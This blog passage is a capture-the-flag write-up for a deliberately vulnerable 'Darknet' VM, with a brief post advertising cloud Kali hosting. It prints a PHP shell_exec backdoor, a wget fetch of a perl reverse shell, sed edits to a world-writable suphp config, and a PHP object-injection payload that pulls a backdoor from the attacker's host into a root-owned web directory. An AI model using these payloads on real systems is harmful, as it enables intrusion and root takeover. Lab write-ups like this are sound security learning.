So thats why the php backdoor did not work. Encountering this the first time on a boot2root VM I did some google research and found out that there is actually a command to alter the php.ini setting within php code itsel (how great is that?!?!):

http://php.net/manual/de/function.ini-set.php

So I tried to leverage this to get a shell and set disable_functions to 0 before running shell_exec:

darknet-phpiniset

But this still failed me:

darknet-shell-exec-fail

But notice how we now get Error messages!

After some more research on the web I found a hint, that it might be possible to place a new php.ini file inside the dir from where the php files are beeing loaded (/home/devnull/public_html/img/ in this case).
So I tried to place an empty php.ini there:

darknet-phpini

And checked the backdoor again:

darknet-backdoor-working

3. We’ve got shell!

With a working php backdoor it is now easy to establish a reverse shell:

Sending a wget command to grab my prefered reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl on kali):

darknet-grab-reverseshellMakes my access.log happy:

darknet-accesslog

 

Now I can just start listening and catch the reverse shell:

darknet-requestingshell

darknet-shell

I love the moment when the first shell drops in :)
Nothing beats a reverse shell for target enumeration and privesc imho!

 4. Privesc all the things!

With a limited reverse shell privilege escalation to root is the next goal.
What I always do when I get a limited shell is transferring one or all of my three linux-privesc friends:

Here are some interesting parts of the findings from LinEnum.sh:

Sample entires from /etc/passwd (searching for uid values 0, 500, 501, 502, 1000, 1001, 1002, 2000, 2001, 2002):
root:x:0:0:root:/root:/bin/bash
devnull:x:1001:1001:,,,:/home/devnull:/bin/bash
errorlevel:x:1002:1002:,,,:/home/errorlevel:/bin/bash

Can we read/write sensitive files:
-rw-r--r-- 1 root root 1007 Apr 20 13:51 /etc/passwd
-rw-r--r-- 1 root root 586 Mar 21 04:51 /etc/group
-rw-r--r-- 1 root root 851 Jul 29 2011 /etc/profile
-rw-r----- 1 root shadow 942 Apr 20 13:15 /etc/shadow

And here an interesting find from linuxprivchecker.py:

[+] World Writable Files
    -rwxrwxrwx 1 root root 869 Apr 26 13:24 /etc/suphp/suphp.conf

Never having had any contact with suphp before and finding its config file world writeable I did some research and found the following introduction on its website: http://www.suphp.org/

“suPHP is a tool for executing PHP scripts with the permissions of their owners. It consists of an Apache module (mod_suphp) and a setuid root binary (suphp) that is called by the Apache module to change the uid of the process executing the PHP interpreter.”

So because suPHP runs PHP scripts with the permissions of their owners I became user devnull when exploiting the SQL Admin interface:

$ ls -lisah /home/devnull/public_html/main.php
46516 4.0K -rw------- 1 devnull devnull 643 Mar 23 00:35 /home/devnull/public_html/main.php

So a possible privesc path would be to find a php file owned by root and somehow try to exploit it to get a root shell!

So lets look for such files:

$ find / -user root -name "*.php" | grep -v "Permission denied"
find: `/proc/tty/driver': Permission denied
find: `/proc/1/task/1/fd': Permission denied
find: `/proc/1/task/1/fdinfo': Permission denied
... a lot more Permission denied...
/var/cache/dictionaries-common/sqspell.php
/var/www/sec.php
/var/www/Classes/Test.php
/var/www/Classes/Show.php

Okay that looks interesting. Lets take a loot at /var/www/:

$ cd /var/www
$ ls -la 
total 24
drwxr-xr-x  4 root root 4096 Apr 26 13:25 .
drwxr-xr-x 12 root root 4096 Mar 21 16:50 ..
drwxr-xr-x  2 root root 4096 Apr 26 11:22 Classes
drwxr-xr-x  2 root root 4096 Mar 23 03:33 access
-rw-r--r--  1 root root  378 Mar 23 03:10 index.html
-rw-r--r--  1 root root  157 Apr 26 11:21 sec.php
$ ls -la Classes
total 16
drwxr-xr-x 2 root root 4096 Apr 26 11:22 .
drwxr-xr-x 4 root root 4096 Apr 26 13:25 ..
-rw-r--r-- 1 root root  163 Apr 26 11:22 Show.php
-rw-r--r-- 1 root root  319 Apr 26 11:27 Test.php
$ ls -la access
total 12
drwxr-xr-x 2 root root 4096 Mar 23 03:33 .
drwxr-xr-x 4 root root 4096 Apr 26 13:25 ..
-rw-r--r-- 1 root root  176 Mar 23 03:31 888.darknet.com.backup

This looks familiar! This is the default www basedir from apache that we grabbed the backup file from before!

And we have root owned php files there! The exact thing we were looking for! Lets take a look at sec.php:

darknet-sec.phpThe function unserialize gets passed a user controlled value!
This smells like a possible injection!

To leverage this information I needed to read up on the unserialize function first tough, as this was as well something I never came into contact with before:

http://php.net/manual/de/function.unserialize.php

Okay I can restore PHP objects and I can see some Class functions inside Classes/Test.php

darknet-classes-test.php

and Classes/Show.php:

darknet-classes-show.php

So lets query OWASP on how we can exploit this:

https://www.owasp.org/index.php/PHP_Object_Injection

Okay that doesn’t sound too hard!

First I started with opening sec.php in a browser:

darknet-secphp-500For some reason Apache is not happy with opening the sec.php file!
But remember we can read and write the /etc/suphp/suphp.conf file (which is very suspicious)!

So lets take a look at it:

$ cat /etc/suphp/suphp.conf
[global]
;Path to logfile
logfile=/var/log/suphp/suphp.log

;Loglevel
loglevel=info

;User Apache is running as
webserver_user=www-data

;Path all scripts have to be in
docroot=/var/www:${HOME}/public_html

;Path to chroot() to before executing script
;chroot=/mychroot

; Security options
allow_file_group_writeable=false
allow_file_others_writeable=false
allow_directory_group_writeable=false
allow_directory_others_writeable=false

;Check wheter script is within DOCUMENT_ROOT
check_vhost_docroot=true

;Send minor error messages to browser
errors_to_browser=false

;PATH environment variable
env_path="/bin:/usr/bin"

;Umask to set, specify in octal notation
umask=0077

; Minimum UID
min_uid=100

; Minimum GID
min_gid=100


[handlers]
;Handler for php-scripts
application/x-httpd-suphp="php:/usr/bin/php-cgi"

;Handler for CGI-scripts
x-suphp-cgi="execute:!self"

And find some explanation of the settings here:
http://www.suphp.org/DocumentationView.html?file=CONFIG


min_uid:
  Minimum UID allowed to execute scripts.
  Defaults to compile-time value.

min_gid:
  Minimum GID allowed to execute scripts.
  Defaults to compile-time value.

The Apache 500 error did not hint at the root cause however this clearly should prevent us from trying what we are doing:
running php files from uid/gid 0 (root)

So lets alter those lines:

$ cp /etc/suphp/suphp.conf /tmp
$ sed -i -e 's/min_uid=100/min_uid=0/g' /tmp/suphp.conf
$ sed -i -e 's/min_gid=100/min_gid=0/g' /tmp/suphp.conf
$ cp /tmp/suphp.conf /etc/suphp/suphp.conf

And try the page again:

darknet-secphp-working

Blank Page \o/  Time to Burp!
Intercepting the Request with Burp:

darknet-burp-interceptAnd sending it to the Repeater (by clicking on Action -> Send to Repeater):

darknet-burp-repeaterNow we can fiddle arround with the requests!

A first test after reading the owasp Article (https://www.owasp.org/index.php/PHP_Object_Injection) was using an online service to serialize some text and inserting it with burp:

https://de.functions-online.com/serialize.html

darknet-serilaize-online

 

Okay now lets look at sec.php again:

darknet-sec.php

It accepts a POST Parameter called “test” so lets provide the online serialized string with burp:

darknet-unserialize-injection 

Okay so basic injection from the outside is possible!
Notice in the above sec.php function that the unserialized Object/String will be printed.

So how can we exploit this?! Lets read the OWASP article again and take a closer look at the Classes/Show.php (again):

darknet-classes-show.php

So sec.php requires (includes) Show.php which in turn contains code for the Show Class.  So when we unserialize an Object of the Class “Show” we should be able to trigger the return value “Showme”.

This part is a bit tricky to figure out and I guess thats a reason why the Show.php was included, because it starts with only one public variable.

So based on what I read in the OWASP article I sent the following Object:

O:4:"Show":1:{s:4:"woot";s:4:"Test";}

And Burp made me a happy man:

darknet-unserialize-showme Okay now that we understand the basic interaction with PHP Objects thorugh the unserialize function lets take a look at the Classes/Test.php file again:

darknet-classes-test.php

So this file was clearly put here for the purpose of privesc escalation!
We already determined above that it is owned by root, so everything it does will be done in the context of root.

If we create (unserialize) an Object of the Class “Test” it will call the __destruct() function eventually with the public variables $url, $name_file and $path which we can control when passing the serialized object via burp!

After playing around a bit I finally arrived at the following serialized object string:

O:4:"Test":6:{s:3:"url";s:35:"http://192.168.0.73/phpbackdoor.txt";s:9:"name_file";s:15:"phpbackdoor.php";s:4:"path";s:8:"/var/www"}

Let me explain this a bit more from my limited perspective:

O:4:"Test":6:

-> This will tell PHP to restore an Object from the Class “Test” with 6 “Fields (3xVariables + 3xContent)”

s:3:"url";s:35:"http://192.168.0.73/phpbackdoor.txt";

-> This tells PHP that there is variable from type string (s) whose name is 3 digits long and called “url”.
The Content of this variable is also from type string and 35 digits long. Its content is the URL pointing to a php backdoor on my kali webserver with a txt extension so that my webserver will not interpret it!

s:9:"name_file";s:15:"phpbackdoor.php";

-> This tells PHP that there is a second variable from type string (s) whose name is 9 digits long and called “name_file”. Its content is “phpbackdoor.php” (15 digits long).

s:4:"path";s:8:"/var/www"

-> This finally tells PHP that there is a third variable from type string (s) whose name is 4 digits long and its content is “/var/www” (8 digits long).

 

4. got root?!

So before running this with burp lets place the phpbackdoor.txt on the Webserver of my kali box (Notice the escape of the $_GET with a \ !!!):

root@kali:~# echo "<?php error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('disable_functions', 0); echo(shell_exec(\$_GET['c'])); ?>" > /var/www/html/phpbackdoor.txt

Now lets send our serialized PHP Object to the sec.php script with burp: 

darknet-final-burp

Watching the apache access log and getting excited:

darknet-final-access-log

And into the browser:

darknet-last-obstacleOh noes! One last obstacle in our way! Good thing we already know that we just need to place an empty php.ini in the www dir to override the original php.ini!

So lets place an empty file on our webserver:

root@kali:~# echo "" > /var/www/html/empty.txt

And one final burp (watch the length of the strings change!):

darknet-final-burp

And lets try our php backdoor again:

darknet-goot-root

 

success

Success!

Now to get an interactive rootshell I just started a reverse listener and called the previously dropped /tmp/prshell.pl:

darknet-prshell-root

 

darknet-root-flag

 Root \o/

  

 6. Final toughts

Thanks to q3rv0 for this awesome VM and oportunity to learn new techniques!

Also I quietly skipped a major Challenge of this VM (Remember User errorlevel?).

If you want to learn about xml and XPath exploitation you should definitely take a look at /etc/apache2/sites-available and/or the other writeups for darknet on vulnhub!!!

And finally props to #vulnhub!

Best Regards
Sebastian

Posted in boot2root, InfoSec, miscellaneous, vulnhub | 1 Comment

Hosting Kali in the Cloud – Catch those Reverse Shells where they matter!

Hello,

if you want to host Kali in the Cloud I can recommend the host Vultr!

You can prepay your account with PayPal and Bitcoin and fire up a Kali VM in 30 Minutes by “wgetting” the Kali minimal Iso to the hoster and booting via KVM and performing the Kali Installation Routine.

The prices are roughly half of comparable AWS Instances!

So just try it out, setting up a Kali VM and playing around a bit did cost me roughly 19 USD Cents…

You also can see you Account Balance and detailed per Server monthly fees in the Webinterface! If the VM is powered down it does not cost you anything.

Disclaimer: The link above and below are including a referral to my account!
If you like Vultr and stumbled onto it via my blog please use this link to sign up!

http://www.vultr.com/?ref=6834090

Feel free to post any comments or questions below!
I will be happy to reply quickly!

Best regards
Sebastian

Posted in pentesting | Tagged , , , , , , , | 9 Comments